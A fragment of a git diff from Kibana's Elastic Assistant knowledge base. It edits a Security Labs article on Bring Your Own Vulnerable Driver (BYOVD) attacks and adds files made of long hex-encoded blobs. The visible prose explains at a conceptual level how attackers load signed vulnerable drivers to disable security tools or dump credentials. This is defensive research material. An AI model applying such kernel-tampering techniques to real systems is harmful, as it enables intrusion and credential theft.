4b7e0f399ba2bd4189709f1befa406c19409fd59158732c33e92adb5954de9b95daaed8e139c732f0bc713f71a76982daf2b2d717ee4b4d48deaeb97c965fb22a89f600e4a9a2e46d680c6a70a2715daacdb76692e79b808b67ba38c22c4021a3c4c4a68667cd5413a1da411627bd37b011b3d02eea9ec841e77854a600b34a5a466e23154674b4a3c6ea47cf01bd8ba7059ece83144fbdf7d2242f85dac40d1bf75866fd30c3d2d50e5aa0708d9331d3368e6ff453b6d77dd5cce3656bb5471ffe1d1ee80bc841c11002989a1d3ff4cb069c6e37024e5fd2d1cf8fccf105c475a01f1c6e1e4aa151891ecf08bf9daeae142f4ab37913f5c164552a4fb899390d9bf4f62f0d94c8132a1d50ee64f74de105cea463ab037b3207e66cae7bc9ca700b899e840387d7bf1c06cb2cd93958d0fec177d5bc03de9f5d9342875da14209dc9c224cd008bf668c8a0e62dc5e6aa5b92e56550265a692e034c511f81129d091ea17daa5be387130d9c0358694fe1b8ccb0c6e4b06091cf96d8d3baf06c5b7bc6e6e0f397abf8c7ef79f2c8f5590e95de51dae4e7d4ff0dd1f439bbd77f9e340d3d1b4f0c8f060fba63b7dfd3ea6f3487f1d1943f4d73e089b11d265b66ea3f66c177e4dfdb7c19163dd3ab9d56f2092a677a09e336cf400d1b3ac7eafbd33b4b4e32ac51ad06187405e8382b9f577a2cc1f0c96daf07d44177a0e9aede5c6984f0b97a0b818b42ff8b5e11ef21b9e5a43a5b35235c7381a19f62bc05da00cb4df0aa16654f6a8fc1eb655da388c56fa7e5af2ec8b412cb6774c0f6a3cae9d27e8ed232acce46976c8ecc89976e3f9aaa60e748e8650b1831969b6a288220092955e21d0f9eaef7774fa3790d999314689b512212c7048166391466df5e4f7b5a114f996b4d2f5dbfbc347568498bbe9ff600af6ebe25809f5b0e5a520dd97858959a41b66ab8c2c8f32a1ce2b9cdb200a881ace6f406f06efa67b80cb78cfb2a8e3dc91d6ffe74df4aa80d15f83cd5db9af42a4e73ecebac2bffa004e77f29602b333e69e08210f8f748a89f7a143017a228ed159188404dc7cb9f7d0e95df6930931ad72ceb836ce69aec6f6cf534a680d7c3ff4fe70808a203d5c41cbe5733f7c398c53a7a9e0eb2b4de7e44f7fd0376aee5f363fee3a069cf729bf9a217f7e1bdcd3614ff1e18891de2afbdd71cbeb89d18b3f2c51997834eb97abbbf18f05b47f2bdd1a245fea5f71fafddf778a1041fb3be730891bd8dd9b4b0b766cece54248234de3c8357d989e01b9909015cb6a9a00c7c0502eb271337e0c41caa05266bcfbd39e165983be5ab9388152522a7335ea9b0122d3584ffbc0ff5850d8e2620549ba809e193d33e99d8db33e9924b4078de6c8ff1191fded2f3c3eb5d7972d91322fe653e7b46ec93b8da8f67fc7f551e39a5f67c7608ec6778bafc3ce2c5f8200e01f3423a69ad7c7f758b96d6e86b102ac40e3e9fefda385fd06ef2c698d58787e8d10a65f392e3ab1c795b841afa45b060eb874e311c6594ed564e99ecfeba6381277a94ebb3bd377ee8c2c746ff72255c5fa0dfa6569ff363717fb8aafe99a65bac35c1625df2df892490570a152c76bbd3c29d2aecc57461ce74c6cd4a393e810e1b4c2bcf8d38c905aa6cf11ae746622e906afeb39ea73e9565d2463232902c1e30bcb2a628f901994fb64d215d5902a99c587740c32e70ec05cdc5d637d01d974e7dec6e2b8fa3b5956c31f24990302efd752e105bf14bd4d3809f2bcdddcc662e7f1c873e7372358ce69ed5b5fc26972ab56545bd3aeaf1e6df65b5866fbb8c265de632e263e1783673895f4de16c5a031e9782ab7b91e38f53b20ed78be12b86a04d538184ca53e1497e8985fd7ebe269edeab0e6e5b31617cb926684d5c3677bf0506839920bb5f8f0a0efb189c7b3a8a9bcc27e0eb025bbbb9d75ced1d794bf174fb8da2a602314c169ccd16e62d09e4fff3f629fa451e0820fef263377978551deba32958aca68e7f203e25e31a6f95f74bb09807e7730da1d0e97478141601dd89444fcc2e12e7a978019603f9d96b561dcbe776b39dec149ee79a30f90ca26b2957965b609d656d0c709cb69a414455df991546370312b1e7ab79aadfcc60aa1314f484d45d44befa4ea801019f5ce0890e428a3cc5d865dd5fec5173f6da4b2af7b5143aa4d3e6d73bce390b03ace98e6dffc1ca25e7cf21c2725f8f564945f1ed476b9204d9d4f7c2045476ece2d5984c2e93b6e7fe23c87bca69c3f2dc3618a229f2c6e13d227e2c83b587e4813aa18d42bb263911152e9a6198397bfd67acee6c3f38166ad577f6b07b812397a6b35350142d3899d3ca9bd6a39d7da64204431abea2b27fdfdaae6f37b10d7952f1fe817e94f1d9a588af9eab1bd8bfe11bb0a2aa4144ed93bb90d46df91ccfebcfdbfec8a114ba4e88c220bc7d38439bcbb61ac444c9c4669a95cc624ee03e2b35aef33bf7db223016f080fd1ac6a2288b65cd80374197cd13dab2a3c74e52b8533dc92a828bdcc7bfde12607d2b95d1724ddc4e69688df7cbf9db215fde3fe1d5dd8b8cee064f0c031c4434d6ba493536bc3b6daa7e352d015672139fa2d1e34352b66d070599c98fd57c7db9c4a567bfb376183c5d98c2d6b08420ef920edb12f928733dba9c24ad103ee294181fc933f6067b60c19b6bc36292eb3a1f15d206c5801bb0ddb971dbca7665234e53e7c125bf6e2d9bb36371a4f962c6a7c50ccc2c2834dbd19c01f290210df15cc4d811eb59f2c734e195d6f917cb226bf471f25334d09eeed3ef1dedfd0098e23477da37d5f10b4545e881690baa92efcb5d8720d8c1c3141c1be818ce8e96adcb19507da6e2fccf21072d340cec05cc99e6f0e3c71704b4afe9489a2223540cbcdd8933bbfe2a94549b7cd70cfb6cb416e3e4c580b82ae3ad89f36099f21b7b1fa04715cebdb05755952876dcaa68836817dee0cab1858d6a51915149cd64f9b4ff911e802c135cc51f05c05178f9843d02a0cabc0987f93f1adf09295564d76ecbaf78e5897fadfc00ffc236dcfa7297952ab6e288ed2b61762e796855199f3dc0b50514d81f9b44fafb6cae4fad6234792c56af90e0e022fec0707679a4cbe37f0fadfd62fb165158a2455be5ed822fa2ab569a567b95487500617173a53fdcaa86b877a2c8dc77d1c794b7d0e514b97ad5caecf634dd4dbd500b42028c06a1694a42ae8d3d9fd7537f1bb8c398a8e968476156e7d6d77bcb61eb1c09548c15e7f750e79038e819e4c98dfdde8e087edfbf3fd3c5e5dabb81647c7cbb0ddaa45037fb7ae167505354613bcfe6b0b007c1673871d2efc84880c3a62c9758170529504aaf7d04366374203a4d18a4538e211325c8b01e50f8fd43f5177353b22b1b9a550f040aefb6dd1f008f27188c6d99b007d35e1a0a01e119f792c665b37ccc5967fc54d0b3da671a42738f01df427526d9797c7c57b6e8d756a9cb375ad509a16bdc2f8e92f2fb16dcc9a0360dbc31c031bac717532b01b2fd075b44e0e5cc65a14779a986a4ce4227159d5d5ff27cffc97e4d9d464e4c8fd5d822cef90b45fef2d60a463a6249ee3b1b296bb850e379d741d780908eec133b2f2d0bf06a0a3db9500d3a47bd609a60114944505c0aa7670558dd57f0fd236f8235264b1019e98fc9d8a864e56027b172419c1fcec1c43ca7555aa49b627ff9d1daa70c610f9b28a88baf249461ac7166865a05bcb1a86edd5bf5d9a2df76df0e7c0155b2079e28ec2c23fe0b5cd828da0a4fdb6b5cdd3c142f12aa256e2ac0205d10632e93c59e59c44da6660e8d5feabc0215c1d86caf420a21d835da342e89f891dc80aa846c07ee84991b04835a640237b603e3a9a8552dd75526187c12755f95b98e535abf4a78654c0a9ba60ca53d3d13127efc772cb9e437af36c761054e907f1e1475e2e1e888b61fb66835181c6b0af305b79a730049780b7289f93a1122e277389a6d978fb92aa5b621c126aeb2dcfab7be7f2280dc98dec2345ec19d06d6290c6f1f547fde69641de771deb151a02b32fcc7c0c69a34a84adf3821abb4c292c0fa3810af355ccc2e0ec9b983d1b05dfc7e0304802e189b33ea4d4450dd141289bcfa6d41e1f503f45ada753bd4b9a54816e897d978b44f604adebc0737878f16f1286832224c45c94d2d4f30d28690eb2a784f59705cd0d02ad5f9fd75a0fc21a254ad511d6b4698761a75f96723cd2fb9c86cdd0a25db4955ace74f74919546db306c8a9a6d9de6dab44361dcea4d77b6867232f8ae80c1562f5ac4be039ccb4bc1027bde85a82eed4225788d9795ce15db81bcbf67378c8b079d85df28becd729e1d067dcfc1ac0868417fc59ae1640e0bc64f639c8481d89293c3533e352d560df877ca004cc98ddbdd813fa56205dbbe492047bd5bd8d4add9bac61cc89d3bc4cc571f760d7470856a783780c895ff75f1b5ff342ad377e64edce6fec023714afdc9e1df38a229a7c048063a3528ddb5fbe7d31035cad298b8edaa067db6d5fb44274f46d66555ac230652b58bd4887675afe2e7566f68f53bb10c47a1634106e5e3bca0f1d7c8725ee11adc3f276e883d321d9c3c58ea17709c9acb48fc45a723028efced52e9033592cbdb7e7e22beb330e06c1cc877d016c6c83e157ba81ab2693ca122524019bb40f9439cf858c4b8954b1fd8b117b024e584760659474cf2a014b714945637ed4bb5a144bc86ef132249666143b937a5dc8a55568ef725f0f4f3167380230ef68245342cf3bed82d4026d30643b875a25fa478c4c4f8bce0e9df881b14013470841c17dfa32eef8775426b55ef9dc85dd3e0c421bac760a2215bf4529fc8e265f9e3fbdf656c4a3362914f82fd049f19c682e1ed28d90b2846f09b2ea9f5fa462589332786f0b91c85b253c651638c830ad82e19a91bbbb8637788ab22e4587fbf3c74e1112264d2294e08f9c7cbd913942fa15d04dd2c027569392c4d32da8f7df41deaee0a63cd3bfddf96d76897130f4b1ea35523ad2dd7020cf542170ac1173db2abb11fbef5d46c2ce71a0e29edf0cee8831642d0242e1fbc26f4a2a6a8a5c7a622a0a1cc64ce9e2ef51034599d20fd4d18c98270ccc3fa0eb53c7f8e546366bd312b61 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.md index 402a764d3c8c7..f5bf700b2eaff 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.md @@ -13,7 +13,7 @@ category: ## Introduction Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. [Joe Desimone](https://twitter.com/dez_) and I covered this in-depth, among other [kernel mode threats](https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf), at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware. -[Driver Signing Enforcement](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-) (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of [Boot Guard](https://www.intel.com/content/dam/www/central-libraries/us/en/documents/below-the-os-security-white-paper.pdf), [Secure Boot](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot), and [Trusted Boot](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot) to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits. +[Driver Signing Enforcement](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-) (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of Boot Guard, [Secure Boot](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot), and [Trusted Boot](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot) to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits. Further limiting admins' power, Microsoft recently deployed the [Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist) by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory. diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.encoded.md new file mode 100644 index 0000000000000..74da7d039e57f --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/fragile_web_ref7707.encoded.md @@ -0,0 +1 @@ +c12c99eedd444e61919a8e924a3cc2e9bcadbcbc6eb9a2f7c38fb1d43f49d4053e529e1d78369ae4228a154fcf996ba1a0987f9c6f601029f843c673c562e530833040b49a71c46df082fa2329ffdd901b3c61346a8d897aadf1215c35d90e7eaed8d19a5373af71dcc7a61b20605be6711b5dd30afc2e83f5d2a1282cde7ce404b6c9761a71652e2acc301ddfad85b0549cb46e856b1798274fc5f042fb3db8483275d4262e41492f75405760cdd16c28bdad023c309c60d0e2136fccf941d805f8d4be253f908a4471e67166f856575175a57f79c2929132577930c44bed1044bf896af61a95edcdc2582b7bed67c890e82db0f2297f8896b7abef86228cdcd3c3976080fefda45e5e937156df83bb87e64f1d0ed00aa9fed854f98199c8e68cb6181438a558710ffd617855af0e995233a9ada04e13f885d9b3db1c6dad134e65f268b0988eb763963cc1f0db143301b8293ed2f14ea68220468ebe86e1aff85dae19042fdbc40460eecb485df9084cc4c5c1443e02a8c1887ce7e97a53ceb36e1a348c4f14df36c8ac9c66dac781803ac83deabe3c0bf7c4b85da8f8842ebb340cc70944e1fa90ac580928ffe1bdd640d34a022a695f66629a73d2a99c636c5daf05d2d2eca9398a183c468e79f7c9297eae5e3a3bf92f7a9afa06daba29f536db98012f7e5c377d068aaa350c14c6fd52794abebcb06346056d2f0a89b5c3cd7e65481d1dfaff956c5743824b47ab20c48c2d4d5bfb068a1840942887360eff18f70846b7cd01fa77fd4a4e05dfa32d12c2b1a5011d75d4225c99be1d70ee77bad524a0c06493f1a5f21d667a5df05c9e382c7cf4a449648ab275dce889940f46e5e4c38219c0b6b80d3590b65b0227c8f2063703fc3a65664adae127dd782974e02f1bc10359f9111f8538722a75a819b8b8e83bfac73ac4855b39d7731e6770e6cfdbedfcb2b9e0c2a8872fcf5279e92d475fb7b765d7ca553b0b0e3100f4db841c20f085292e4cc0153dd3091ea6aac1f20393986eb3f1de359fd576815ecce564cbeece69389fbe538860d23b513ff0aaf30300acacc3ae4bcd652850ebdc56717f59819109759f31f0e3f6c08730c23f887c858020bba2b7d363703b49107cebe08a71f30ad23ca937f8b981b3612a794076e662210be40d8e85642154e6268bea2ecc4a3e2fa20f28f2080d68e8c22ea8d36254d6051a3352f0a4b16610ae7e9b3f55bbd5acea55e1cda67415239b152da50be67d8ec72f1b17dadcd649792aa56ea709ea759548c7aaae153bd83ace41ba8f8e6cf874b085db786bf780e9c8f7e558e9911a2f50de8fca1ea4b46707cde59f4a96f82f19826f21593354895137cc08df2dbad785908958d5532febc220a1d69c20998315318a0bf1b2dcafec917f3a8184e0fbf89e5a1f254bc71f06eb4aa2bf1790e7a2a6a19f66a95b786b6e1577d2240a997e2032d78fd30d7bcc2304b654ce18c81887d7684a3ac03bd983f058123d699a7672a5ab6a4448c853ae6b14c3be57d33253def9df6dd45d9ac6077b0482a2c9e41da419201aaed99c3b8d6791515f5d14a5b4a8e07025fb933bcd73982df5ebe177adc52ff51d1284d389a4accc623b91a91a15daf7303156d122612f78b2a7719e340e0ec56c5283ede091db3d08c3c862404e0bea7eb99c83a585ddade8d23ea384e6e9d9a259fa6876d36ccb96783c37e97001d91b2267baa610fa65a70ff73fc7555befd9f77124f9a61708895d3e89a144aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfddbb29055a1563d50f15471fd5ac8f6a3112bdba9756d5df3cf1428ce5a1b979b81e27c8530e2c38472dee6a166313354fee153fb973007edb58bb529b1a97be5abf3cd3ddcffc6fb61b66c401d0aab5765ba94c0e705a64cc33b8de0d369b08bafea37f26e6e56f41b6aefbf41ba0f7fbdd0530428888a0a430199a64b78d8e83d4335da606be973b494cc506373c6859cdfc01eacdb3d60bad6989791853ddedc5868476886d6b1880b29fad686e02e7f9fb5cab647e7023fce42ecf5da8fd41cfc9747e08ce32b777e84f9fd5bb586cdadc170c03a19110b8f4a6c714a85ecd63cce2535b08f24244aca968e2b88eceaab7f14fdfa108146ecc1997c43573771de60e2bbf974f2d08e2aaba9711add4a8db1a09ea0d3cd78f748afaa488307030b4300f9c465dd8b53f8b7ae7b288bd3c3976080fefda45e5e937156df83bb2783fedd45ae416108f81055aac1aea64ef8ecf4c760f048bef50f4815d387ab9bcb3e2c982f70920f9275a35b348dd5b9bcfef043e57c0411c976b9537f86ca9b644f710489db9bebdb90ab4aa1989351c6a63bf8fe16f6c88220ee7354b4fd1d1eb87dfd279531f8126212221248cc6d4509e7075bfd9581465171f0cf58797afc739536835fe998e89c54630752097b43022ab915887e4b5ceb9f30b21a00e12238753d5953062edec6c5df07a1fe641ea103f67c338e543f79c93f381632283a1009313c93201e1a640ca72377ef963ca61bf76e4205411a75c9268998a01758fed4eb6faa27e1a5a5d1ff5070e866408173519748851265f50031d401941387ae48ed501b379e4cbf6be4c513e4047709ce6ed0fd5e301dc687b1750e495bed87544478276bf7f07e8fb42a9f49c2a7712fa72fa4fbc5951ec81ea650fcd93e4f3303aee7dfa7c831ff5fbf81725a8bf457f46c4c6121f0f179323160cb15e3a57319dec78f079c7faeba6086ddf81c698256ea9ceb5998b16d255caa0ef7eaaec44e0cfbcba47db116a0c8f40130ec5ff97600d9cd5826447688a3b48162e6a77324f4a04b3412fab9a69a7d4a3b38ce407b1aff2a2e1ca3f30b18688c83ac608051b37baa5dc701ac7165bc4d1c711632391dfdaf8937f3d7e7e153f42a97ed50642b2439f35210bb49e1a6850ad1b30b3dfd4bbb71061f72e1716d465e8a861992fd0508ecfc28800112693d088985e0aef5e7c9fe1721f24502bae2abd4388a2a144af7f5c22246dd8926a0fd957ead5c4ba89b5ee9e673c43d41c8b8c3fd5f308b0009d0b5e0e66241bbee793c845f8deda91b6965fce54c8559429bb44f97295333bdfdabd1119829a7a6ec9fbf0e47244f2ce29922864de8ba444fe6e2f2cac7edd57575d90b59df4b0820ec61bc937ae909b3154511053c6dabf6d063a6ca6cdddd23f47955b19ee5b2753295712bfc09d0d0b7ad16d9b2581a0c6c3883b354b18518d45ce2ac26f8e439cdb9a12a2d4ec76749d16f823fb0c9492ab8c03bb69f0703b7632e51fd65293bc9f36f3361a409cb05e0ea66cba831790be48db0aae7754e6dc64dae3da99c25f768d1074d7bc6edb4251c816a13612739db5cffd376075c1f4d26e75611146907db245ec7c5a0fa57d984b48479c0d82b181af1500301592f6a5add82ef2f85b0bd941a72c7d665593f8b9e704242412e016392f04a40affefb33c9306143476c4e8496613e4c6fac7d06dbc3c75abea07203188951fdff6c1b9eb9c168e12b014b02a42c501e88b7d83ac431bab125f2c203cb315b0c06f3e57bf924edaaa6ea5d98e254829418be395e3a1cfb98400526d1eca67ab0b2b4a085edfa2ef35fed38db898a0b491148818b3aa0fd76de373f9c28ed68c3794991a1e71f51b258e07ce4b6dbcaaf9027f689d8ac6f74390dfdd97686e6e9ce15affb1d65c2deaf0a7c414641cd35fab11913e9379c176d2d54cd94b10e9220f0d487c13daba571b73ca055a842e63c2f900c4cc01c99724c23f9c673fb1dacba83d5a54cd9fd79c8888a2f4e16d96e329804c5723efc7f61e9a3cb23a224eb3436716c8f5147b40a6592c2c4b242c7a979a9b59db91c42ec3b243746f6f5130810e227b1189b43cb31198b14f7afdd0ed985470d1908120e5dc475d8b143a6bbe20b3ba6d8666cd53e7d98183c51c8a5f7a255d4de856c0e22098fec138241f5ce2cfa97a612c243486fb3c446f4399c08e24f9be3d3c585c01b635f76b4b1769b2be72486888d2414e63bde1298f768b6ae4ec61379499cfec28938d6f8065e8c4c06ff56fc423ad972b6b384329a74d255f4a91c8fb5169a958faa984a6872e90f6e3a3849517c46f994a15bf6a4da7ba688ee54f9adbaf389e9d59bb78ee664a25c6031137cd8cb368cc4a0580b50dd97a6c9d7b211becd30cb6cef14a35ff92cfdadf2a531bc61cb096d142495807a4ae01f694d653f203072d095a1b242135e4c27453e049881f882bb61382b708aac242bf01e8d2ed3adf958f6854ae3e1a0fec87b54f7a170cc82fdb3c6e26b1ca380f97abfbd7d694c09c450d77389b1b6710d50fccfa7ec5a4604e77090f626fdd5e25e032998fcbbcf3ba5f95973afb817caf3a4c8e68470f3b5b0fc00681f645e03b96f50e553f71a64a05c615322d423ad535b162a3efba9090a8ff51a9b2aa62eac46c53e3decdc73ced56a98652144f3d344321f641689b5c01a7401fb95e0ce691f81f65616a6511c0bb43b6c000728401cb0577abcd7c5049e045ba5423eb079fe839f781b62194ede499dd233d76478883e8e34dfc0575a90739f605eacf247ec9751084eeec79cc76a3e337b207998bc3fd4c0bc558e277913865da72496120c284c1a867a3100aa874760a42f7f263018e8780a66c1af8be55364fd26f6fa26e6f67f4184c53337afd6c1decf1bdd9aa575e8bc8607bf4d92e8740df660ec9fe8d27f0f24d79c039fd13cdd9a19a05f0b5a1be82d0f96589abaff2ba0bd2d340b56dc7817090dd367304fe094c7e144f720230be87e526e98bed2a998e8da1c71ed59ddcdf26490b7505f308e4fce36473fae02f8d8baf32e3da316d8084f73e0127b2a87de4d61bcb493199e1d284f96e9c9736aaf5c0636c0ca6084c30195f94f38933329e49f0e2b3a06c4d0ce7422b941e0d1523aed98782f2a5dc95f8310eeb6f267073ec18d533546269db20846c058a3f0c718f27b258813dabf0dab8d120123b9a40051e2a4654082609ba75316667d80919e1830bdc6b42535969bacf04d86f023ec50bf0bdd5c06b7e443588fb35b57b82738bc308bc00220bc68e152c42fbc8405300139e3afb89e1bc4a3a09da2343acef39bfb1d6f8e23df272e686c8f677dc39e0a7dcc7fb1b04410124c795ea742fcb8fb9a4443c4ae05fc1910c5c19fffbf82a89eefff31ca790b6d2cc88003befdd0e11c5b32a841fabdb312420e1586bb39668a2aca332c10745415b267b66d76295b5eefc59356ef3788143af1049121c26a4bea2920631a2923f037c3a0f555a7e21aca6ae76be0da872d3dbc77be0ba3f532e838a9a22afd22878dc2c2f5fa903b2cbea46fc098d5dbc3854c59d7b77fb60c7d57292a753919328e9308fbfff80111f93418dbe8e44c4c0d15592f7d8d88798d08b5a0c40e6707cb7bb7960b9eccbf68335d884d8bfd88726249916e3524c5d8e7af755313f4e01923df7b408db32db9d8194c75bfb89a54f78c99c5956ebbed9542479c65a7c45b18dc4f99f64bf73c2a308c406140c0702467a72b2071d6279b86df94fed943f1165deb8bdc5b2b23aaebbd95e5c59d6a5bd99036332eda780853a3ef102595e7933e574800ff86e280809e79bd5c06be364d3206d9741f8eba567d019a8e044369d97ec7c632f8e5c499e12a483a3344ff21db29c41be8675c185bf5eff346a09b07944d11c1eec622f162cc4df93b8d8bb8a8ecc75a05f3fd8612856ae90ac86464a4c7c131f4317e6eb331aed2bee819f297ed52f45033171c3be024fe922e100158008d34ca4047d3095bb84e136c1c119ca0c807c5791fbf0858a456bb5471ffe1d1ee80bc841c11002989a1d3ff4cb069c6e37024e5fd2d1cf8fc4232cc772e066e709a3c515efa7e6e40eefa789ea07b9d3dab8a4f85693c8e99d2b030c1a4b23eb97ef489d3a9807ae74a52bc1f6fa27d922dea310f51fb2494e7dcfc72389f3dd3c47b308dcc2e88e940fab120184ffbb6bad28323db39c74067b84aca4eb3ca06e6b1e977b17cb601ec3baa5ec9f148daf5da09d1062313d76532d18689469584290469d87d62b7acfc1b320eaad9a65a5942d7245a2d8b4ecdeea4e69a2d9d9423eb10324fac8c958a29645eb3021c1bb4974ec6c89d618d81002a585aa14d1c49ee5cdcff0d5ed3c874afd2bacc273f97e7f4bed1da0ee3f1e01d4479404715f66bd37b9fb5f7685877bed240aef820164b55bd9f5d4f5ecd53d2bae6ec00d61fbd90c210585cfdaf4c5bbfc6ea69e934d54ab0325bce3cdf44eb2fead5e48f2d6d78680cb7e6c72832959d936e75475cb78302095e3feb6bd3f8faaef8546732380c1f49b8a5ef7559d251168d2d17cf0732938070e7aa633045db65a6291aece2a5ef464278de5a40a64e33820773334a50d09153c8480ad1a3f51e848eba43c7668a3c71d0d9fdb9618e3c8a2f68a1e237d3a91c2f6b7ea0e620302bfd2e45c1b86fd4020a1fa765bb3bb197ce8bd52a3fa44add3ff2a76b4f1d5ccce1e9d93d815e3f878cb4f39ab8f91d232fb95a0a8550f1977ece6cc8af67cfc06b4a0d14f3802e336985f484fe8f5a34a25540e00e686222cb6ac5ec9237df94b2c67703472614cdb5cd870925f77b993f013c9655a3f86360a3f6d3b51703f1f6abbdb76a0203763f2fa99da51b3362b1d43f050f63b15d726c3ee27b87a9397600099cc7cfca6235e43a68643d89c8e1937c837763d3498d31c7ea1b940f2825419450b62c81302ae5da1766acba3337a675a72482c9f02df4d0e95e7c1658c884896f6188940bd996fe2ed2f595e60c757d98a1fd8c4dea168b6a2c7db9ef4a1cd1615f5926f1c34704e7b623e1f9f09ef2417bf766804943950d60e82e26800c01d326ce6105e725d9dded411e7c5f8879e2270b8b61666072f7af6bb4bb632e0a68484dd4bec30d66b55891d238af40a84db37e72a3f842f3ddebcb0e193dd608922920bb35d1478e7188e4d7d9b8b5c8c176f5dd378984dd666759fe73d0e8147db21c9a85476221818093c43c2189034f48103da65e9865e5c5ced40dc75c2f69e64aba2a14c2ed0ee728ec4773f3f331459ba8cb27a664897a97d475fe6b0f31da14a41e8a48e36ef63d76a7dd7c4b4ba6bb94847542c4443b5a146a0edf177be5dde4ebc97e76cebfe2311f4112fa8d42f4621a163aab30e413ba775b7de5186c29bd14214bfad94abc9074d6f91b0ae9bb10f7406a84ead3fea5b2463408005d8a5a2ac0d8606270bf7a940042c740f1cc27085cc35dc711434c7faffa2ad071fba7088a39786caf2d836a6d98ef3bbb16e3a4c17d7a1faf0a35c5637cbeaab17bfb1102d4f3ec2907ea39e2568639131301bf052406ed249c8507a9803983f8ddd830775f5d40d55492bc28c8b57c31e659770a400f1bd904b4fb6fa55513c2bbf83f55bcac5258fc7ab95c7879294dcc9c9b58d9226b87f11905e17f515888bfb8096ac4444c97891a6412cee06f562441b9754fca7be537447e2d02ce50c333ff570bc01aeac3780fa9a59047b8310c34ac517ffe4d967bd7607af839f9febc7a924ed5e7bafc7642d1609cc9b29628fea26be2c2fa15bdde52151f6bc06bb7f903930b17d4468c4a31603ddf84c9a8089cd973ab3990178f303b806eb8d1cf00816d1968de317dfdbc2feda19650630d5bc0a374ca67a3aa665ae387fdc101258cdb92813e4ed96d9fb1004480dd366ba405311d37263210024e068fc52bb03a5ed2cfa67cc2a20c770737db70772463923876697d896c9b7b74be8d6979e5db7ef4d8f02e8806e13fd3e992d7a51caf754bf093fb0e74a3854990b9cd3a0b1f09bd0f3d86ddcc4110d0b61b8fa860bd56416b76bea9dff8313625584af6efd1c505b5fbfb07452854748d6605693c33450d6dd17de2d986fad582c56f2bd30ef28cc9139ef391858a2df98b1c574c7e179a1b483c9b662349b5c282b21120264f1bd47a6eda451a0d7b5751938944746f21bf6624ee3889160bc2a1ec9692664ee0f62776bac8131b22c4dd57eb38866f74b8e63875dab39bc8b84e6d26f98e60694e2164ba797b53ce568cd47e2b966aaee1c4537558fd949710b3e26dc2966f04ec0051e5eaa59a2bf57d0056b8e46d045fd0b5b0dcfa620677967bf4ad29dd813728a459e2b8c3c2b04adaa8dc85faadec207427d8ea939c42e432d4f52ed36f32d1c3177365cb8038faaeafc070630db61018774d952cb1d2425b1803e8f5bc4d99e3f296ad4184044c888a764d229a074e4f52c6799dbc56b1dcdd2bd303c14fdb384e1266f7c8bcfba3fe41de898b11dc6a47d9172bc148272f047519c44304e6be68a490e61bc989c98cb399c67db3399a71ab6b331006faa330de79113f4781dd4b1e9066678c63c9962f3459770a533ceaf1f73e003407ba0ee8b243f1036d017330931a93f982a1f98899ba75a4a2ccc1bb8218597d7050935a954e6a51b62719d301cd0e25575e39894fd0addba3608ec95465ea88fada83842eaa81184e5ce193f4fc32e1688ef2e2f51b75c3f5b87511ee7a2950c1242fe61557b0281fd1ed24cd63001742c917724b356a96088182e988a1dc9e15f2b3b1de10f16cd6303ca99b0574d4d1c5853d69103ad4d9dded411e7c5f8879e2270b8b61666072f7af6bb4bb632e0a68484dd4bec30d66b55891d238af40a84db37e72a3f842f3ddebcb0e193dd608922920bb35d147e434112f5da09cc290c1744b34e92c39c6e295d992c5a1bef1a0aee25dd701e5a76cfe79f6bdcb785f655398a8dc3dacc437f029277625ed5c6dbfb36817219074a39009059559c1fdf672148fa003c55e6d7da2a5f0532a9aaeafdf44e377f3436aa9bffa5e44e585b33ec86f438463b7b0e6237c6e33c9e6056dfa523f7296ed5e36e4c8cd2959170766cbf8fa63ab32725dfcefe3639768706b78a8bb892b2bb033f5f648142db38f5293613c12862f5b6a3d64fa535258003fe6fdbec869ce31a220909b5beed575e675f43ecb1d1f43d920279f554515591edcbdb605fde932e44578fd137dfbcb282ab27defa1e1abaee46a9b6dbf24506a27a66fdb5ed2b45b27347066893f2a2399158586bc74d868ecddfd522b142c7b598e92336ff91c9958db1bf25b98b4987b2defe12d37af1095a230ea8502c5bf0796fdf9f7b4bc3e3c8ab099